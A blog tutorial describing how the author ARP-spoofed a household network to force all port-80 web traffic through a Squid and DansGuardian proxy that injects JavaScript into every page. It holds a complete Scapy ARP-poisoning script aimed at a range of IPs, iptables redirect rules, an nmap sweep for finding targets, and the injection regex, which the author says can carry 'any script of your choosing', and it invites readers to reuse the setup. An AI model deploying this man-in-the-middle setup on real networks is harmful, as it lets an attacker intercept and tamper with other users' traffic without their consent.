Transparent Web Traffic Hijacking With Scapy, Squid, DansGuardian, and BackTrack4

BackTrackWell that title was a mouthful. This article is all about my attempt at traffic shaping/modification; how I hacked together a transparent web proxy that allows traffic modification, and ARP-spoofed my house’s network in order to do so.

I started down this rabbit-trail trying to find a way to inject a neat piece of custom-made JavaScript into all websites served through my network. My script takes advantage of CSS3′s ability to make RGBA backgrounds (slight shading, anyone?), and its transform-rotate style. This ends up randomly tilting <div> elements on the page, and shading them various pastel-like colors. The script is at the bottom of the page.

I used an old BackTrack4 (BT4) Virtual Machine (VM) that I had lying around. BT has most of the tools I needed, and one of them looked promising. Ettercap allows you to easily ARP-spoof and modify TCP traffic via filters. An unfortunate limitation is that the size of each packet must stay the same, so any additional content you place in the packet will simply overwrite information you want to preserve. Since I wanted to insert my JavaScript payload somewhere near the closing <body> tag, Ettercap would only be able to replace a dozen or so characters before running out of space to place the rest of my code. In the process, the </body> and </html> tags would go missing, causing problems with some webpages.

Jumping ahead after some trial-and-error with Paros (which didn’t work because it isn’t a transparent proxy), I decided to install Squid. Squid is a proxy that can be configured to be transparent, and the traffic can easily be modified using a content-filtering tool like DansGuardian. DansGuardian is normally used for intercepting obscene content (porn, expletives, illegal downloads), but I neutered all of that functionality, and just left the content replacement feature. This allowed me to search for the closing <body> tag and insert my JavaScript just before it, within some <script> tags.

In order to hijack the traffic on my network, I wrote a Python script (using Scapy) which sends out ARP packets to all the computers on my network, instructing them that the BT4 VM was the router. Using iptables, I redirected all traffic through to the real router, except for the juicy web traffic on port 80.

But let’s get down to business. Here are the general steps I took to accomplish all of this:

 

Download the BT4 (or 5?) VM image: http://www.backtrack-linux.org/downloads/

Run it in VirtualBox: http://www.virtualbox.org/wiki/Downloads

Open up a terminal window and:

# apt-get update

# apt-get install squid

# apt-get install DansGuardian

Now edit the squid.conf file. This may be in /etc/squid/squid.conf but if it’s not, then search for it: # find / -name squid.conf

These next four lines may be outdated. Squid may complain when you use them. If this seems to be the failure point with you, a newer way of doing this is described here: http://www.deckle.co.za/squid-users-guide/Transparent_Caching/Proxy Anyways, add these lines around the HTTPD_ACCELERATOR OPTIONS section:

httpd_accel_host virtual

httpd_accel_port 80

httpd_accel_with_proxy on

httpd_accel_uses_host_header on

 

In squid.conf, find the line that says log_fqdn and set it to on.

Now restart Squid

/etc/init.d/squid restart

Now we set up the iptables. This will turn your machine into a very expensive router. Our aim is to forward everything we don’t care about, directly to the real router’s address, while keeping all of the port 80 traffic for modification. Type in these commands:

# echo 1 > /proc/sys/net/ipv4/ip_forward

# iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 80 -j REDIRECT –to-port 8080

# iptables -A INPUT -i eth0 -j ACCEPT

# iptables -A FORWARD -i eth0 -j ACCEPT

You can then save the configuration (because otherwise you will lose this when you restart the machine). I opted out of this step, since it’s a virtual machine I can simply save the state and restore from it later. Here are the commands to save it, in any case:

# iptables-save > /etc/iptables.conf

# echo 1 > /proc/sys/net/ipv4/ip_forward

# iptables-restore < /etc/iptables.conf

Save that file, then make it executable:

# chmod a+x /etc/init/iptables

And link it:

ln -s /etc/init.d/iptables /etc/rc2.d/S19iptables

 

Next we set up DansGuardian. We need to modify /etc/dansguardian/dansguardian.conf but if it is not there, do a search: # find / -name dansguardian.conf

Comment out the line that says “UNCONFIGURED”, by placing a # sign at the beginning of the line.

Search for a line named “reverseaddresslookups” and change it to “on”

Search for a line named “reverseclientlookups” and change that to “on”

Save the file.

 

Now open up /etc/dansguardian/dansguardianf1.conf for some extensive modification. This is where we will remove most of the functionality from the program.

Look for a line with the term “naughtynesslimit” in it. Change that number to something large, like 9001. This should prevent the content filter from thinking any site is bad enough to block.

 

Up until this point, most of these steps can be gleaned from this handy resource: http://www.docstoc.com/docs/23934608/Linux–Transparent-Proxy–Content-Filtering

 

Now on the line, “Content filtering files location”, you will see a list of lists. These define what sites are to be blocked. We don’t want any sites to be blocked, so replace all of the file locations with that of a blank file, EXCEPT for the contentregexplist, since this file handles all of the Regex content matching, and is easier to leave alone. I created a blank file inside the /etc/dansguardian/lists/ directory, named “blanklist”, which is what I replaced all of the other lists with.

Save this file, and modify the Regex file, /etc/dansguardian/lists/contentregexplist

Everything should already be commented out. Place this new Regex search-and-replace near the bottom:

# Website Wonkifier

“</body>”->”<script language=”javascript”>window.onload=function(){var e=document.body.getElementsByTagName(“div”),b=navigator.appVersion.search(“WebKit”) != -1 ? “-webkit” : “-moz”;for(o in e){var y=[0,0,0];for(i in y){y[i]=parseInt(Math.random()*100+150)}e[o].setAttribute(“style”,b+”-transform:rotate(“+(Math.random()*4-2)+”deg);background-color: rgba(“+y[0]+”,”+y[1]+”,”+y[2]+”,0.05)”)}}</script></body>”

This can be any script of your choosing, however. Feel free to use mine (although it does slow down some computers, and especially on pages with flash video content).

Save the file and restart DansGuardian:

/etc/init.d/dansguardian stop

/etc/init.d/dansguardian start

 

We should make sure the network settings are correct. Go edit /etc/network/interfaces   and make sure it looks something like the below. Also, your main interface (eth0 in my case) should be set to static, not dhcp.

auto eth0

iface eth0 inet static

address xxx.xxx.xxx.xxx # the current IP address of the BT4 VM

netmask 255.255.255.0

gateway xxx.xxx.xxx.xxx # the IP of the router/gateway

Save the file, and then apply the settings:

# ifdown eth0

# ifup eth0

 

 

Now for the ARP spoofing. In case you need a refresher, ARP is the protocol that links IP addresses to MAC addresses (which are unique to each network interface card). This protocol is fairly insecure, because anyone on the network can claim to be anyone else. You’re on the honor system, and we are going to make a Python script to dishonor that assumption. This is where we use Scapy, by the way. Scapy is a Python API for doing all sorts of crazy stuff with packets. It was specifically built to be as flexible as possible, so it can have many uses. Save this file somewhere conveniently accessed by a terminal, as mitm.py

from scapy.all import *
from time import sleep
import threading

conf.iface='eth0' # your network interface

base = "192.168.1." # will add more values later

#targets = [144, 200, 130] #another way of specifying targets
targets = range(100, 160) #your targets (last 3 digits of IPs on the 'base' network
print "targets: "
targets = map(lambda x: base + str(x), targets)

router="192.168.1.1" #router/gateway

class SpoofThread (threading.Thread):
	def __init__(self, victim, gateway):
		self.packet = ARP()
		self.packet.psrc = gateway
		self.packet.pdst = victim

		threading.Thread.__init__(self)

	def run (self):
		print "spoofing " + str(self.packet.pdst) + " ..."
		try:
			while 1:
				send(self.packet, verbose=0);
				sleep(5);
		except:
			pass

#start a TON of threads
for ip in targets:
	SpoofThread(ip, router).start()

There are a few changes that need to be made. Change your interface, base, targets, and router as applicable. This script basically makes a ton of threads whose sole purpose in life is to send ARP packets to one specific IP address. The IP addresses are specified in an array, which you can fill up as you like. I recommend something like:

# nmap -sP 192.168.1.1-255

To determine what IP addresses are currently sitting around on your network.

Finally, run the Python script:

python mitm.py

And watch as fun ensues.

 

Unfortunately this only works on unencrypted traffic (for obvious reasons). This means that any https// site will not be modified.

I hope you learned a thing or two. If you use this for any truly epic purpose, feel free to drop a comment below.

 

Here are some additional resources that I found useful:

http://www.backtrack-linux.org/forums/backtrack-videos/39227-%5Bvideo%5D-playing-traffic-squid.html

Arp poisoning with scapy and web request spoofed with paros proxy on Backbox

http://www.cyberciti.biz/faq/linux-port-redirection-with-iptables/

https://help.ubuntu.com/community/IptablesHowTo

route – Linux man page

 

 

This entry was posted in Hacking, Javascript, Linux, Python. Bookmark the permalink. Post a comment or leave a trackback: Trackback URL.

Post a Comment

Your email is never published nor shared. Required fields are marked *

*
*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>